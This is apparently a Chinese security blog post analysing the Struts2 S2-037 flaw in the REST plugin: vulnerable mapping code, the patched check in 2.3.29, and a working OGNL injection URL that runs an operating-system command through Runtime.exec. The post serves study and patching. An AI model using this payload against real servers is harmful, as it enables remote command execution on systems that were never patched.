前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。

跟 S2-032 同原理,是 S2-033 的进化版本,不需要开启 DynamicMethodInvocation。


环境搭建

2.3.28.1 版本的 struts2 + Tomcat 9。

用 maven 安装依赖:

<dependency>
    <groupId>org.apache.struts</groupId>
    <artifactId>struts2-rest-plugin</artifactId>
    <version>2.3.28.1</version>
</dependency>

漏洞分析

类似 S2-032 如果能想 mapping 中 set 一个未经过滤的字符串作为表达式,我们就可以实现命令执行。

阅读 RestActionMapper 类的 getMapping 函数,可以看到这里有很多 setMethod,比如:

String fullName = mapping.getName();
// Only try something if the action name is specified
if (fullName != null && fullName.length() > 0) {

    // cut off any ;jsessionid= type appendix but allow the rails-like ;edit
    int scPos = fullName.indexOf(';');
    if (scPos > -1 && !"edit".equals(fullName.substring(scPos + 1))) {
        fullName = fullName.substring(0, scPos);
    }

    int lastSlashPos = fullName.lastIndexOf('/');
    String id = null;
    if (lastSlashPos > -1) {

        // fun trickery to parse 'actionName/id/methodName' in the case of 'animals/dog/edit'
        int prevSlashPos = fullName.lastIndexOf('/', lastSlashPos - 1);
        //WW-4589 do not overwrite explicit method name
        if (prevSlashPos > -1 && mapping.getMethod() == null) {
            mapping.setMethod(fullName.substring(lastSlashPos + 1));
            fullName = fullName.substring(0, lastSlashPos);
            lastSlashPos = prevSlashPos;
        }
        id = fullName.substring(lastSlashPos + 1);
    }
    ...
}

这些函数调用都没有对输入参数进行过滤。

漏洞利用

在进入 getMapping 函数的 setMethod 之前,还有一个 dropExtension 的函数调用,用于处理 URI 后缀并返回:

protected String dropExtension(String name, ActionMapping mapping) {
    if (extensions == null) {
        return name;
    }
    for (String ext : extensions) {
        if ("".equals(ext)) {
            // This should also handle cases such as /foo/bar-1.0/description. It is tricky to
            // distinquish /foo/bar-1.0 but perhaps adding a numeric check in the future could
            // work
            int index = name.lastIndexOf('.');
            if (index == -1 || name.indexOf('/', index) >= 0) {
                return name;
            }
        } else {
            String extension = "." + ext;
            if (name.endsWith(extension)) {
                name = name.substring(0, name.length() - extension.length());
                mapping.setExtension(ext);
                return name;
            }
        }
    }
    return null;
}

所以 S2-032 的 payload 需要稍加修改,而且 2.3.28.1 版本的 OGNL 禁止了逗号和括号执行多条表达式,所以要换个办法,payload:

http://localhost:8080/login/method/((%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)-(@java.lang.Runtime@getRuntime().exec(%23parameters.c%5b0%5d))).toString.xhtml?c=calc

漏洞修复

2.3.29 的修复,DefaultActionInvocation 类的 invokeAction 方法里解析表达式的函数改变了,从 getValue:

methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action);

变成了 callMethod:

methodResult = ognlUtil.callMethod(methodName + "()", getStack().getContext(), action);

而 callMethod 中调用的是 compileAndExecuteMethod,会有 isSimpleMethod 函数的校验:

private boolean isSimpleMethod(Object tree, Map<String, Object> context) throws OgnlException {
    if (tree instanceof SimpleNode) {
        SimpleNode node = (SimpleNode) tree;
        OgnlContext ognlContext = null;

        if (context!=null && context instanceof OgnlContext) {
            ognlContext = (OgnlContext) context;
        }
        return node.isSimpleMethod(ognlContext) && !node.isChain(ognlContext);
    }
    return false;
}

用于检查调用的方法是否是单独的方法调用,@ 和 . 这种链式调用就被禁止了。


参考文章:

http://blog.nsfocus.net/struts2-s2-037-vulnerability-analysis/


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

struts2系列漏洞 S2-045
struts2系列漏洞 S2-032